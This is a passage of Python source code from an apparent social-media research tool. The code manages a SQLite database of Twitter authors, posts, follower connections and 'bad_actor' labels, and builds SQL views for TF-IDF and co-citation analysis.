domain='Microblog'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return {rec[0]: rec[1] for rec in records}\n\n def is_export_key_authors_view_exist(self):\n query = text(\"SELECT name FROM sqlite_master WHERE type='view' AND name='export_key_authors'\")\n result = self.session.execute(query)\n cursor = result.cursor\n records = list(cursor.fetchall())\n return len(records) != 0\n\n ###########################################################\n # author_boost_scores\n ###########################################################\n def deleteBoostAuth(self, window_start=None):\n if window_start:\n self.session.query(Post_to_pointers_scores).filter(\n Post_to_pointers_scores.window_start == window_start).delete()\n self.session.query(Author_boost_stats).filter(Author_boost_stats.window_start == window_start).delete()\n\n else:\n self.session.query(Post_to_pointers_scores).delete()\n self.session.query(Author_boost_stats).delete()\n self.session.commit()\n pass\n\n def getPostsListWithoutEmptyRowsByDate(self, window_start, window_end):\n\n q = text(\"select * from posts where content is not NULL and (:window_start <= date and date <= :window_end)\")\n references = []\n res = self.session.execute(q, params=dict(window_start=window_start, window_end=window_end))\n posts = [list(post.values()) for post in res]\n return posts\n\n def getPostsListWithoutEmptyRowsByDomain(self, domain):\n\n q = text(\"select * from posts where content is not NULL and domain = :domain\")\n references = []\n res = self.session.execute(q, params=dict(domain=domain))\n posts = [list(post.values()) for post in res]\n return posts\n\n def getPostsListWithoutEmptyRows(self):\n q = text(\"select * from posts where content is not NULL\")\n references = []\n res = self.session.execute(q)\n posts = [list(post.values()) for post in res]\n return posts\n\n def get_author_guid_post_dict(self):\n author_guid_posts_dict = defaultdict(list)\n posts = self.get_posts()\n for post in posts:\n author_guid_posts_dict[post.author_guid].append(post)\n return author_guid_posts_dict\n\n def addAuthor_boost_stats(self, author_boost_stats):\n self.session.merge(author_boost_stats)\n\n def addAuthors_boost_stats(self, authors_boost_stats):\n for author_boost_stats in authors_boost_stats:\n self.addAuthor_boost_stats(author_boost_stats)\n self.session.commit()\n\n def addPost_to_pointers_scores(self, post_to_pointers_scores):\n self.session.merge(post_to_pointers_scores)\n\n def addPosts_to_pointers_scores(self, posts_to_pointers_scores):\n for post_to_pointers_scores in posts_to_pointers_scores:\n self.addPost_to_pointers_scores(post_to_pointers_scores)\n self.session.commit()\n\n def getReferencesFromPost(self, postid):\n urlToList = []\n references = self.session.query(Post_citation).filter(Post_citation.post_id_from == postid).all()\n for ref in references:\n urlToList.append(ref.url_to)\n return list(set(urlToList))\n\n def getAuthor_boost_stats(self, author_guid):\n result = self.session.query(Author_boost_stats).filter(Author_boost_stats.author_guid == author_guid).all()\n\n if len(result) > 0:\n return result[0]\n return None\n\n def get_all_authors_boost_stats(self):\n result = self.session.query(Author_boost_stats).filter(\n Author_boost_stats.author_domain == str(domain)).all()\n\n if len(result) > 0:\n return result\n return None\n\n ###########################################################\n # post_retweeter_connections\n ###########################################################\n def get_post_retweeter_connections_by_post_id(self, post_id):\n return self.session.query(PostRetweeterConnection).filter(PostRetweeterConnection.post_osn_id == post_id).all()\n\n ###########################################################\n # authors\n ###########################################################\n\n def add_author(self, author):\n self.session.merge(author)\n\n def add_authors(self, authors):\n logging.info(\"-- add_authors --\")\n logging.info(\"Number of authors is: \" + str(len(authors)))\n i = 1\n for author in authors:\n msg = \"\\r Add author to DB: [{}\".format(i) + \"/\" + str(len(authors)) + ']'\n print(msg, end=\"\")\n i += 1\n self.add_author(author)\n self.commit()\n if len(authors) != 0: print(\"\")\n\n def get_author_by_author_guid(self, author_guid):\n result = self.session.query(Author).filter(Author.author_guid == author_guid).all()\n return result[0]\n\n def get_author_by_screen_name(self, screen_name):\n result = self.session.query(Author).filter(Author.author_screen_name == screen_name).all()\n return result[0]\n\n def get_author_by_author_guid_and_domain(self, author_guid, domain):\n result = self.session.query(Author).filter(and_(Author.author_guid == author_guid,\n Author.domain == domain)).all()\n return result\n\n def is_author_exists(self, author_guid, domain):\n author = self.get_author_by_author_guid_and_domain(author_guid, domain)\n return len(author) > 0\n\n def get_authors_retrieved_from_xml_importer(self):\n result = self.session.query(Author).filter(Author.xml_importer_insertion_date is not None).all()\n return result\n\n def get_retweet_count(self):\n query = text(\"\"\"select author_guid, count(posts.post_id)\n from posts\n where content like '%RT @%'\n group by author_guid\"\"\")\n result = self.session.execute(query)\n records = list(result.cursor.fetchall())\n return {rec[0]: rec[1] for rec in records}\n\n def get_retweets(self):\n query = text(\" select post_id, content from posts where content like '%RT @%'\")\n result = self.session.execute(query)\n records = list(result.cursor.fetchall())\n return {rec[0]: rec[1] for rec in records}\n\n def get_missing_data_twitter_screen_names(self):\n \"\"\"\n This function retrieves all the users who have missing information.\n These users are authors who has no twitter user id and their posts with url of twitter\n :return: list of screen names\n \"\"\"\n query = \"SELECT authors.name \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_osn_id is NULL \" \\\n # \"AND (authors.is_suspended_or_not_exists is NULL \" \\\n # \"OR authors.is_suspended_or_not_exists = 0) \" \\\n # \"AND authors.domain = 'Microblog' \" \\\n # \"AND authors.author_type IS NULL \" \\\n # \"GROUP BY authors.name\" #TODO: Domains.MICROBLOG\n # \"LIMIT 35;\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = list(cursor.fetchall())\n twitter_screen_names = [r[0] for r in screen_names]\n return twitter_screen_names\n\n def get_missing_data_twitter_screen_names_by_posts(self):\n query = \"SELECT DISTINCT(posts.author) \" \\\n \"FROM posts WHERE LOWER(posts.author) NOT IN \" \\\n \"(SELECT LOWER(author_screen_name) FROM authors WHERE author_osn_id IS NOT NULL)\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = list(cursor.fetchall())\n twitter_screen_names = [r[0] for r in screen_names]\n return twitter_screen_names\n\n def get_missing_data_twitter_screen_names_by_authors(self):\n query = \"SELECT DISTINCT(author_screen_name) \" \\\n \"FROM authors WHERE author_osn_id IS NULL\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n screen_names = list(cursor.fetchall())\n twitter_screen_names = [r[0] for r in screen_names]\n return twitter_screen_names\n\n def get_authors_for_mark_as_suspended_or_not_existed(self):\n # This function retrieves all the users who are suspended or not existing.\n # We should run this query only when we finished to retrieve all the followers\n # after saving all of them we can be sure that twitter did not bring them due to their situation(suspended)\n query = \"SELECT * \" \\\n \"FROM authors \" \\\n \"INNER JOIN posts on (authors.author_guid = posts.author_guid) \" \\\n \"WHERE authors.author_osn_id is NULL \" \\\n \"AND authors.name = posts.author \" \\\n \"AND (posts.url LIKE \\'%http://twitter.com%\\' \" \\\n \"OR posts.url LIKE \\'%https://twitter.com%\\')\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n suspended_authors = list(cursor.fetchall())\n return suspended_authors\n\n def get_not_suspended_authors(self, domain):\n result = self.session.query(Author).filter(\n and_(Author.is_suspended_or_not_exists == None, Author.domain == domain)).all()\n return result\n\n def get_followers_brought_by_terms(self):\n # query = \"\"\"\n # SELECT DISTINCT(authors.author_osn_id)\n # FROM author_connections\n # INNER JOIN authors ON (authors.author_guid = author_connections.destination_author_guid)\n # WHERE author_connections.connection_type = 'term-author'\n # AND authors.author_osn_id NOT IN (\n # SELECT DISTINCT(temp_author_connections.source_author_osn_id)\n # FROM temp_author_connections\n # WHERE temp_author_connections.connection_type = 'follower'\n # )\n # \"\"\"\n # AND authors.author_osn_id IS NOT '18691328'\n query = \"\"\"\n SELECT DISTINCT(authors.author_osn_id)\n FROM author_connections\n INNER JOIN authors ON (authors.author_guid = author_connections.destination_author_guid)\n WHERE author_connections.connection_type = 'term-author'\n\n AND authors.author_osn_id NOT IN (\n SELECT DISTINCT(temp_author_connections.source_author_osn_id)\n FROM temp_author_connections\n WHERE temp_author_connections.connection_type = 'follower'\n )\n \"\"\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n tuples = cursor.fetchall()\n author_osn_ids = [tuple[0] for tuple in tuples]\n return author_osn_ids\n\n def get_followers_or_friends_candidats(self, connection_type, domain, limit):\n # This function retrieves all the user ids we would like to extract their followers.\n # These users are authors who are not the source in the connections table and not in follower type.\n # Moreover, bring me the authors who are not protected, and they are from twitter (type = microblog)\n\n # query = \"\"\"\n # SELECT *\n # FROM (SELECT authors.author_guid\n # FROM authors\n # WHERE authors.author_guid NOT IN(\n # SELECT source_author_guid\n # FROM author_connections\n # WHERE connection_type = :connection_type)\n # AND authors.protected = 0\n # AND authors.author_type is NULL\n # AND authors.domain = :domain\n # AND authors.xml_importer_insertion_date IS NOT NULL\n # AND authors.followers_count > 10\n # LIMIT 5)\n # \tUnion\n # SELECT author_guid\n # FROM (\n # SELECT authors.author_guid, authors.followers_count, authors.statuses_count\n # FROM authors\n # WHERE authors.author_type = 'bad_actor'\n # AND authors.statuses_count > 10\n # AND authors.followers_count > 10\n # AND authors.protected = 0\n # AND authors.author_guid NOT IN (\n # SELECT author_connections.source_author_guid\n # FROM author_connections\n # WHERE author_connections.connection_type = :connection_type)\n # ORDER BY authors.followers_count DESC, authors.statuses_count DESC\n # LIMIT 0)\n # \"\"\"\n\n query = \"\"\"\n SELECT authors.author_osn_id\n FROM authors\n WHERE authors.author_guid NOT IN(\n SELECT source_author_guid\n FROM author_connections\n WHERE connection_type = :connection_type)\n AND authors.protected = 0\n AND authors.domain = :domain\n AND {0} > 10\n LIMIT :limit\n \"\"\"\n if (connection_type == Author_Connection_Type.FOLLOWER):\n query = query.format('authors.followers_count')\n elif (connection_type == Author_Connection_Type.FRIEND):\n query = query.format('authors.friends_count')\n else:\n query = query.format('11')\n query = text(query)\n result = self.session.execute(query, params=dict(connection_type=connection_type, domain=domain, limit=limit))\n cursor = result.cursor\n return cursor\n\n def get_twitter_author_ids_for_extracting_friends(self):\n # This function retrieves all the user ids we would like to extract their followers.\n # These users are authors who are not the source in the connections table and not in follower type.\n # Moreover, bring me the authors who are not protected, and they are from twitter (type = microblog)\n '''\n query = \"SELECT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_osn_id NOT IN \" \\\n \"(SELECT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"INNER JOIN author_connections ON \" \\\n \"(authors.author_osn_id = author_connections.source_author_osn_id) \" \\\n \"WHERE author_connections.connection_type = 'friend') \" \\\n \"AND authors.protected = 0 \" \\\n \"AND authors.domain = 'Microblog' \" \\\n \"AND authors.xml_importer_insertion_date IS NOT NULL \" \\\n \"AND authors.missing_data_complementor_insertion_date IS NOT NULL \" \\\n \"AND authors.friends_count > 0 \" \\\n #\"LIMIT 20;\"\n '''\n query = \"SELECT * \" \\\n \"FROM (\" \\\n \"SELECT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_osn_id NOT IN(\" \\\n \"SELECT author_connections.source_author_osn_id \" \\\n \"FROM author_connections \" \\\n \"WHERE author_connections.connection_type = 'friend') \" \\\n \"AND authors.protected = 0 \" \\\n \"AND authors.author_type is NULL \" \\\n \"AND authors.domain = 'Microblog' \" \\\n \"AND authors.xml_importer_insertion_date IS NOT NULL \" \\\n \"AND authors.friends_count > 10 \" \\\n \"LIMIT 35) \" \\\n \"Union \" \\\n \"SELECT author_osn_id \" \\\n \"FROM (\" \\\n \"SELECT authors.author_osn_id, authors.friends_count, authors.statuses_count \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_type = 'bad_actor' \" \\\n \"AND authors.statuses_count > 10 \" \\\n \"AND authors.friends_count > 10 \" \\\n \"AND authors.protected = 0 \" \\\n \"AND authors.author_osn_id NOT IN (\" \\\n \"SELECT author_connections.source_author_osn_id \" \\\n \"FROM author_connections \" \\\n \"WHERE author_connections.connection_type = 'friend') \" \\\n \"ORDER BY authors.friends_count DESC, authors.statuses_count DESC \" \\\n \"LIMIT 35)\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = list(cursor.fetchall())\n twitter_ids = [r[0] for r in ids]\n return twitter_ids\n\n def get_screen_names_for_twitter_authors_by_posts(self):\n screen_names = []\n http_twitter_prefix = str('%http://twitter.com%')\n https_twitter_prefix = str('%https://twitter.com%')\n results = self.session.query(Post.url).filter(and_(Post.xml_importer_insertion_date is not None,\n Post.author == Author.name,\n Author.missing_data_complementor_insertion_date is None,\n or_(Post.url.like(http_twitter_prefix),\n Post.url.like(https_twitter_prefix)))).all()\n\n expression_one = r\"(?<=http:\\/\\/twitter\\.com\\/)\\w+(?=\\/statuses\\/\\d+)\"\n expression_two = r\"(?<=https:\\/\\/twitter\\.com\\/)\\w+(?=\\/statuses\\/\\d+)\"\n r_one = re.compile(expression_one, re.VERBOSE)\n r_two = re.compile(expression_two, re.VERBOSE)\n for result in results:\n twitter_url = result[0]\n optional_screen_names = r_one.findall(twitter_url)\n if optional_screen_names:\n screen_name = optional_screen_names[0]\n screen_names.append(screen_name)\n else:\n optional_screen_names = r_two.findall(twitter_url)\n if optional_screen_names:\n screen_name = optional_screen_names[0]\n screen_names.append(screen_name)\n return screen_names\n\n def get_twitter_authors_retrieved_from_vico_importer(self):\n '''\n query = text(\"SELECT * FROM authors JOIN posts on posts.author = authors.name WHERE posts.xml_importer_insertion_date IS NOT NULL AND authors.bad_actors_markup_insertion_date is NULL AND (posts.url LIKE '%http://twitter.com%' OR posts.url LIKE '%https://twitter.com%');\")\n result = self.session.execute(query)\n authors = [author.values() for author in result]\n return authors\n '''\n\n result = self.session.query(Author).filter(and_(Post.xml_importer_insertion_date is not None),\n (Post.author == Author.name),\n (Author.missing_data_complementor_insertion_date is None),\n or_(Post.url.like('%http://twitter.com%'),\n Post.url.like('%https://twitter.com%'))).all()\n return result\n\n def add_author_connection(self, author_connection):\n self.session.merge(author_connection)\n\n def add_post_retweeter_connection(self, post_retweeter_connection):\n self.session.merge(post_retweeter_connection)\n\n def add_author_connections(self, author_connections):\n total = len(author_connections)\n current = 0\n for author_connection in author_connections:\n current += 1\n msg = '\\r adding ' + str(current) + ' of ' + str(total) + ' author_connections'\n print(msg, end=\"\")\n self.add_author_connection(author_connection)\n self.session.commit()\n\n def get_author_connections_dict(self):\n authors_connections = self.session.query(AuthorConnection).all();\n authors_connections_dict = defaultdict(list)\n for authors_connection in authors_connections:\n authors_connections_dict[authors_connection.connection_type].append(authors_connection)\n return authors_connections_dict\n\n def get_author_connections_by_author_guid(self, source_author_guid):\n return self.session.query(AuthorConnection).filter(\n AuthorConnection.source_author_guid == source_author_guid).all();\n\n def add_post_retweeter_connections(self, post_retweeter_connections):\n for post_retweeter_connection in post_retweeter_connections:\n self.add_post_retweeter_connection(post_retweeter_connection)\n self.session.commit()\n\n def get_vico_importer_bad_actors(self):\n vico_importer_bad_actors = self.session.query(Author).filter(and_(Author.author_type == Author_Type.BAD_ACTOR,\n or_(\n Author.xml_importer_insertion_date is not None,\n Author.vico_dump_insertion_date is not None))).all()\n number_of_vico_importer_bad_actors = len(vico_importer_bad_actors)\n logging.info(\"Number of bad_actors which found by VICO is: \" + str(number_of_vico_importer_bad_actors))\n return vico_importer_bad_actors\n\n def get_bad_actor_ids(self):\n logging.info(\"get_bad_actor_retweeters_not_retrieved_from_vico\")\n\n query = \"SELECT authors.author_osn_id \" \\\n \"FROM authors \" \\\n \"WHERE authors.author_type = 'bad_actor'\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n ids = list(cursor.fetchall())\n twitter_authors_ids = [r[0] for r in ids]\n logging.info(\"Number of bad actor o is: \" + str(len(twitter_authors_ids)))\n return twitter_authors_ids\n\n number_of_bad_actors = len(bad_actors)\n logging.info(\"Number of bad_actors which found by VICO is: \" + str(number_of_bad_actors))\n return bad_actors\n\n def get_vico_importer_potential_good_actors(self):\n vico_importer_potential_good_actors = self.session.query(Author).filter(and_(Author.author_type is None,\n Author.missing_data_complementor_insertion_date is not None,\n Author.xml_importer_insertion_date is not None)).all()\n # or_(Author.xml_importer_insertion_date != None,\n # Author.vico_dump_insertion_date != None))).all()\n number_of_vico_importer_potential_good_actors = len(vico_importer_potential_good_actors)\n logging.info(\n \"Number of vico_importer_potential_good_actors is: \" + str(number_of_vico_importer_potential_good_actors))\n return vico_importer_potential_good_actors\n\n def convert_twitter_users_to_authors(self, users, targeted_social_network, author_type, inseration_type):\n authors = []\n seen_authors = set()\n logging.info(\"Convert twitter users to authors: \" + str(len(users)))\n i = 1\n for user in users:\n author = self.convert_twitter_user_to_author(user, targeted_social_network, author_type, inseration_type)\n if author.author_guid not in seen_authors:\n authors.append(author)\n seen_authors.add(author.author_guid)\n msg = \"\\r Author record was converted: {0} [{1}/{2}]\".format(author.author_screen_name, i, str(len(users)))\n print(msg, end=\"\")\n # print(\"Author record was converted: \" + author.author_screen_name)\n i += 1\n # logging.info(\"Author record was converted: \" + author.author_screen_name)\n return authors\n\n def convert_twitter_user_to_author(self, osn_user, targeted_social_network, author_type, inseration_type):\n author_screen_name = str(osn_user.screen_name)\n author_guid = compute_author_guid_by_author_name(author_screen_name)\n\n domain = Domains.MICROBLOG\n # result = self.get_author_by_author_guid(author_guid)\n # if len(result) == 0:\n author = Author()\n # else:\n # author = result[0]\n\n author.author_screen_name = str(author_screen_name)\n author.name = author_screen_name # .lower()\n author.domain = str(targeted_social_network)\n\n author.author_guid = str(author_guid)\n\n author.author_full_name = str(osn_user.name)\n author.author_osn_id = str(osn_user.id)\n author.description = str(osn_user.description)\n author.created_at = str(osn_user.created_at)\n author.statuses_count = osn_user.statuses_count\n author.followers_count = osn_user.followers_count\n author.friends_count = osn_user.friends_count\n author.favourites_count = osn_user.favourites_count\n author.listed_count = osn_user.listed_count\n author.language = str(osn_user.lang)\n author.profile_background_color = osn_user.profile_background_color\n author.profile_background_tile = osn_user.profile_background_tile\n author.profile_banner_url = osn_user.profile_banner_url\n author.profile_image_url = osn_user.profile_image_url\n author.profile_link_color = osn_user.profile_link_color\n author.profile_sidebar_fill_color = osn_user.profile_sidebar_fill_color\n author.profile_text_color = osn_user.profile_text_color\n author.default_profile = osn_user.default_profile\n author.contributors_enabled = osn_user.contributors_enabled\n author.default_profile_image = osn_user.default_profile_image\n author.geo_enabled = osn_user.geo_enabled\n author.protected = osn_user.protected\n author.location = str(osn_user.location)\n author.notifications = osn_user.notifications\n author.time_zone = str(osn_user.time_zone)\n author.url = str(osn_user.url)\n author.utc_offset = osn_user.utc_offset\n author.verified = osn_user.verified\n author.is_suspended_or_not_exists = None\n\n if author_type is Author_Type.BAD_ACTOR:\n author.author_type = author_type\n self.set_inseration_date(author, inseration_type)\n\n return author\n\n # set date to authors\n def set_inseration_date(self, author, inseration_type):\n # now = unicode(get_current_time_as_string())\n now = self._date\n if inseration_type == DB_Insertion_Type.BAD_ACTORS_COLLECTOR:\n author.bad_actors_collector_insertion_date = now\n elif inseration_type == DB_Insertion_Type.XML_IMPORTER:\n author.xml_importer_insertion_date = now\n elif inseration_type == DB_Insertion_Type.MISSING_DATA_COMPLEMENTOR:\n author.missing_data_complementor_insertion_date = now\n elif inseration_type == DB_Insertion_Type.BAD_ACTORS_MARKUP:\n author.bad_actors_markup_insertion_date = now\n elif inseration_type == DB_Insertion_Type.MARK_MISSING_BAD_ACTOR_RETWEETERS:\n author.mark_missing_bad_actor_retweeters_insertion_date = now\n\n def create_author_connections(self, source_id, destination_author_ids, weight, author_connection_type,\n insertion_date):\n print(\"---create_author_connections---\")\n author_connections = []\n for destination_author_id in destination_author_ids:\n author_connection = self.create_author_connection(source_id, destination_author_id, weight,\n author_connection_type, insertion_date)\n author_connections.append(author_connection)\n\n return author_connections\n\n def create_author_connection(self, source_author_guid, destination_author_guid, weight, connection_type,\n insertion_date):\n # print(\"---create_author_connection---\")\n author_connection = AuthorConnection()\n\n # msg = '\\r Author connection: source -> ' + str(source_author_guid) + ', dest -> ' + str(\n # destination_author_guid) + ', connection type = ' + connection_type\n # print(msg, end=\"\")\n\n # print(\"Author connection: source -> \" + str(source_author_guid) + \", dest -> \" + str(destination_author_guid) + \", connection type = \" + connection_type)\n author_connection.source_author_guid = source_author_guid\n author_connection.destination_author_guid = destination_author_guid\n author_connection.connection_type = str(connection_type)\n author_connection.weight = str(weight)\n author_connection.insertion_date = insertion_date\n\n return author_connection\n\n def save_author_connections(self, author_connections):\n print(\"---Saving author connections in DB---\")\n save_author_connections_start_time = time.time()\n # self.add_author_connections(author_connections)\n self.add_author_connections_fast(author_connections)\n save_author_connections_end_time = time.time()\n save_author_connections_time = save_author_connections_end_time - save_author_connections_start_time\n print(\"Saving author connections in DB took in seconds: \" + str(save_author_connections_time))\n\n def create_and_save_author_connections(self, source_author_id, follower_ids, weight, connection_type):\n author_connections = self.create_author_connections(source_author_id, follower_ids, weight, connection_type,\n self._window_start)\n self.save_author_connections(author_connections)\n\n def get_author_connections_by_type(self, connection_type):\n # print(\"get_author_connections_by_type: \" + str(connection_type))\n query = self.session.query(AuthorConnection).filter(AuthorConnection.connection_type == connection_type)\n res = self.session.execute(query)\n cursor = res.cursor\n return cursor\n\n def result_iter(self, cursor, arraysize=1000):\n 'An iterator that uses fetchmany to keep memory usage down'\n while True:\n results = cursor.fetchmany(arraysize)\n if not results:\n break\n for result in results:\n yield result\n\n def get_post_min_date(self):\n query = \"SELECT MIN(posts.date) \" \\\n \"FROM posts\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n fetched_curser = cursor.fetchall()\n str_date_object = fetched_curser[0]\n str_date = str_date_object[0]\n returned_date = self.create_date_from_full_string_date(str_date)\n return returned_date\n\n def get_post_max_date(self):\n query = \"SELECT MAX(posts.date) \" \\\n \"FROM posts\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n fetched_curser = cursor.fetchall()\n str_date_object = fetched_curser[0]\n str_date = str_date_object[0]\n returned_date = self.create_date_from_full_string_date(str_date)\n return returned_date\n\n def create_date_from_full_string_date(self, str_date):\n date_and_hour = str_date.split(\" \")\n str_selected_date = date_and_hour[0]\n year_month_day = str_selected_date.split(\"-\")\n year = int(year_month_day[0])\n month = int(year_month_day[1])\n day = int(year_month_day[2])\n from datetime import date, timedelta as td\n created_date = date(year, month, day)\n return created_date\n\n def get_new_author_screen_names_by_date(self, min_date, current_date):\n\n yesterday = current_date - timedelta(days=1)\n query = \"SELECT DISTINCT posts.author \" \\\n \"FROM posts \" \\\n \"WHERE (posts.url LIKE '%http://twitter.com%' \" \\\n \"OR posts.url LIKE '%https://twitter.com%') \" \\\n \"AND posts.domain = 'Microblog' \" \\\n \"AND posts.date > \" + \"'\" + str(current_date) + \" 00:00:00' \" \\\n \"AND posts.date <= \" + \"'\" + str(\n current_date) + \" 23:59:59' \" \\\n \"and posts.author not in ( \" \\\n \"SELECT DISTINCT posts.author \" \\\n \"FROM posts \" \\\n \"WHERE (posts.url LIKE '%http://twitter.com%' \" \\\n \"OR posts.url LIKE '%https://twitter.com%') \" \\\n \"AND posts.domain = 'Microblog' \" \\\n \"AND posts.date > \" + \"'\" + (\n str(yesterday) if current_date == min_date else str(min_date)) + \" 00:00:00' \" \\\n \"AND posts.date <= \" + \"'\" + str(\n yesterday) + \" 23:59:59' \" \\\n \"GROUP BY author)\"\n\n query = text(query)\n result = self.session.execute(query)\n cursor = result.cursor\n authors = list(cursor.fetchall())\n author_screen_names = [r[0] for r in authors]\n return author_screen_names\n\n ###########################################################\n # Views creation\n ###########################################################\n def create_uf_view(self):\n '''\n Represents the #references to a post from a given topic\n '''\n self.session.execute(\"DROP VIEW IF EXISTS uf;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS uf AS\\\n SELECT p.post_id_to AS post_id, \\\n p.url_to,\\\n t.max_topic_id AS topic_id,\\\n count(p.post_id_from) AS url_frequency \\\n FROM post_citations p \\\n INNER JOIN \\\n post_topic_mapping t ON (p.post_id_from = t.post_id) \\\n GROUP BY p.post_id_to, \\\n t.max_topic_id\\\n ;\")\n self.session.commit()\n\n def create_tf_view(self):\n '''\n Represents the #topics pointing to a post\n '''\n self.session.execute(\"DROP VIEW IF EXISTS tf;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS tf AS\\\n SELECT uf.post_id,\\\n count(uf.topic_id) AS topic_frequency \\\n FROM uf\\\n GROUP BY uf.post_id\\\n ;\")\n self.session.commit()\n\n def create_total_url_frequency_view(self):\n '''\n Represents #references to a post overall\n '''\n self.session.execute(\"DROP VIEW IF EXISTS total_url_frequency;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS total_url_frequency AS\\\n SELECT uf.post_id,\\\n sum(uf.url_frequency) AS tof\\\n FROM uf \\\n GROUP BY uf.post_id;\\\n \")\n self.session.commit()\n\n def create_topic_stats_view(self):\n '''\n Represents how many references is available from each topic\n '''\n self.session.execute(\"DROP VIEW IF EXISTS topic_stats;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS topic_stats as \\\n SELECT max_topic_id AS topic_id, count(post_id) as post_count \\\n FROM post_topic_mapping \\\n GROUP BY max_topic_id \\\n \")\n self.session.commit()\n\n def create_tfidf_view(self):\n self.session.execute(\"DROP VIEW IF EXISTS tfidf;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS tfidf AS \\\n SELECT uf.post_id,\\\n uf.topic_id,\\\n uf.url_to,\\\n uf.url_frequency AS how_many_times_cited_in_topic,\\\n tf.topic_frequency AS in_how_many_topics,\\\n topic_stats.post_count,\\\n 1.0 * uf.url_frequency / topic_stats.post_count * log(1.0 * (select count(*) from topics) / tf.topic_frequency) AS ufitf1,\\\n tuf.tof\\\n FROM uf\\\n INNER JOIN\\\n tf ON (uf.post_id = tf.post_id) \\\n INNER JOIN \\\n topic_stats ON (uf.topic_id = topic_stats.topic_id) \\\n INNER JOIN\\\n total_url_frequency tuf ON (tuf.post_id = uf.post_id);\\\n \")\n self.session.commit()\n\n def create_key_posts_view(self):\n self.session.execute(\"DROP VIEW IF EXISTS export_key_posts;\")\n self.session.execute(\"\\\n CREATE VIEW IF NOT EXISTS export_key_posts AS \\\n SELECT p.post_id, \\\n p.guid,\\\n p.url as url, \\\n max(pr.tfidf) AS tfidf1 \\\n FROM posts p \\\n INNER JOIN posts_representativeness pr on (pr.post_id = p.post_id)\\\n GROUP BY p.post_id,\\\n p.guid, \\\n p.url;\")\n\n def create_key_authors_view(self):\n self.session.execute(\"DROP VIEW IF EXISTS export_key_authors;\")\n self.session.execute(\"CREATE VIEW IF NOT EXISTS export_key_authors AS \\\n SELECT p.author AS author_name,\\\n p.author_guid,\\\n SUM(r.tfidf1) AS SumTFIDF,\\\n MAX(r.tfidf1) AS MaxTFIDF\\\n FROM posts p \\\n JOIN \\\n export_key_posts r ON (r.post_id = p.post_id)\\\n where author_guid is not null and r.tfidf1 is not null\\\n GROUP BY p.author_guid\")\n\n def create_author_post_cite_view(self):\n self.session.execute(\"DROP VIEW IF EXISTS author_post_cite;\")\n query = text(\"CREATE VIEW IF NOT EXISTS author_post_cite as \\\n SELECT DISTINCT posts.author_guid, post_citations.post_id_to \\\n FROM posts \\\n\t INNER JOIN post_citations ON(post_citations.post_id_from = posts.post_id) \\\n\t WHERE posts.author_guid is not null\")\n self.session.execute(query)\n self.session.commit()\n\n def get_authors_topics(self, domain, min_posts_count):\n query = \"\"\"\n SELECT author_topic_mapping.*\n FROM author_topic_mapping\n INNER JOIN author_guid_num_of_posts_view ON (author_guid_num_of_posts_view.author_guid = author_topic_mapping.author_guid)\n WHERE author_guid_num_of_posts_view.num_of_posts >= :min_posts_count\n AND domain = :domain\n \"\"\"\n result = self.session.execute(query, params=dict(domain=domain, min_posts_count=min_posts_count))\n cursor = result.cursor\n author_topics_vectors = self.result_iter(cursor)\n\n author_guid_topics_vector = self._create_author_guid_topics_vector(author_topics_vectors)\n return author_guid_topics_vector\n\n def get_random_authors_topics(self, domain, min_posts_count):\n query = \"\"\"\n SELECT author_topic_mapping.*\n FROM author_topic_mapping\n INNER JOIN random_authors_for_graphs ON (random_authors_for_graphs.author_guid = author_topic_mapping.author_guid)\n \"\"\"\n result = self.session.execute(query, params=dict(domain=domain, min_posts_count=min_posts_count))\n cursor = result.cursor\n author_topics_vectors = self.result_iter(cursor)\n\n author_guid_topics_vector = self._create_author_guid_topics_vector(author_topics_vectors)\n return author_guid_topics_vector\n\n def _create_author_guid_topics_vector(self, author_topics_vectors):\n author_guid_topics_vector = {}\n for author_topics_vector in author_topics_vectors:\n author_guid = author_topics_vector[0]\n author_topic_vector = author_topics_vector[1:-1]\n\n author_guid_topics_vector[author_guid] = author_topic_vector\n return author_guid_topics_vector\n\n def create_author_guid_num_of_posts_view(self):\n self.session.execute(\"DROP VIEW IF EXISTS author_guid_num_of_posts_view;\")\n query = \"\"\"\n CREATE VIEW author_guid_num_of_posts_view as\n SELECT posts.author_guid, posts.domain, COUNT(*) as num_of_posts\n FROM posts\n GROUP BY 1,2\n HAVING num_of_posts >= 1\n ORDER BY 3 DESC\n \"\"\"\n query = text(query)\n self.session.execute(query)\n self.session.commit()\n\n def get_posts_count_per_author(self, domain):\n query = text(\"SELECT authors.author_guid, COUNT(posts.post_id) \"\n \"FROM authors \"\n \"INNER JOIN posts ON (authors.author_guid = posts.author_guid) \"\n \"WHERE authors.domain = :domain and authors.author_osn_id IS NOT NULL \"\n \"GROUP BY authors.author_guid\")\n\n result = self.session.execute(query, params=dict(domain=domain))\n cursor = result.cursor\n records = list(cursor.fetchall())\n return {record[0]: record[1] for record in records}\n\n #############################################################\n ###### Co-Citations View\n #############################################################\n def get_cocitations(self, min_number_of_cocited_posts):\n query = \" SELECT a1.author_guid, a2.author_guid, count(a1.post_id_to) AS weight \\\n FROM author_post_cite a1 \\\n INNER JOIN author_post_cite a2 ON (a1.post_id_to = a2.post_id_to) \\\n WHERE a1.author_guid <> a2.author_guid \\\n GROUP BY a1.author_guid, a2.author_guid \\\n HAVING weight >= 